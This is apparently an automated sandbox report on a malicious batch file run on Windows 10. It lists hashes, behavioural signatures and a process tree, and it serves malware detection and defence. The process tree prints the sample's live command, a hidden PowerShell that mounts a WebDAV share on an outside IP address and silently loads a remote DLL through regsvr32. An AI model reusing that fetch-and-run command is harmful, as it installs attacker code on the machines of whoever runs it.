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Analysis
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max time kernel
135s -
max time network
105s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
21/07/2024, 15:19
Static task
static1
Behavioral task
behavioral1
Sample
119371420991627841.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
119371420991627841.bat
Resource
win10v2004-20240704-en
General
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Target
119371420991627841.bat
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Size
19KB
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MD5
aa059d44b5472915f9e91bce65be9a79
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SHA1
55c61832ea46fd15b55b8a49794bf58b67c47528
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SHA256
bbdb00e5144617f40b197001138047239661540ed4e768d70bf0bf402be58abf
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SHA512
9b33e109619fa75cb860ae85479d6d799700dca45db26b13f329b73bf7dbf98dc7c018612f15069764771e27a38084476c9a1aa14ef460291848b75ccbd11ea9
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SSDEEP
384:1oJl3RV5dWs+WigBHBzmekck/gmx/YZe1w4vapbAh9Wzr1aGP:GHb10MHBzmFck/zx/YAtibmuaS
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3824 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3824 powershell.exe 3824 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3824 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4388 wordpad.exe 4388 wordpad.exe 4388 wordpad.exe 4388 wordpad.exe 4388 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4784 wrote to memory of 4388 4784 cmd.exe 84 PID 4784 wrote to memory of 4388 4784 cmd.exe 84 PID 4784 wrote to memory of 3824 4784 cmd.exe 86 PID 4784 wrote to memory of 3824 4784 cmd.exe 86 PID 3824 wrote to memory of 3208 3824 powershell.exe 88 PID 3824 wrote to memory of 3208 3824 powershell.exe 88 PID 3824 wrote to memory of 3584 3824 powershell.exe 89 PID 3824 wrote to memory of 3584 3824 powershell.exe 89
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\119371420991627841.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:4388
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\219162541119066.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:3208
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\219162541119066.dll3⤵PID:3584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:792
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82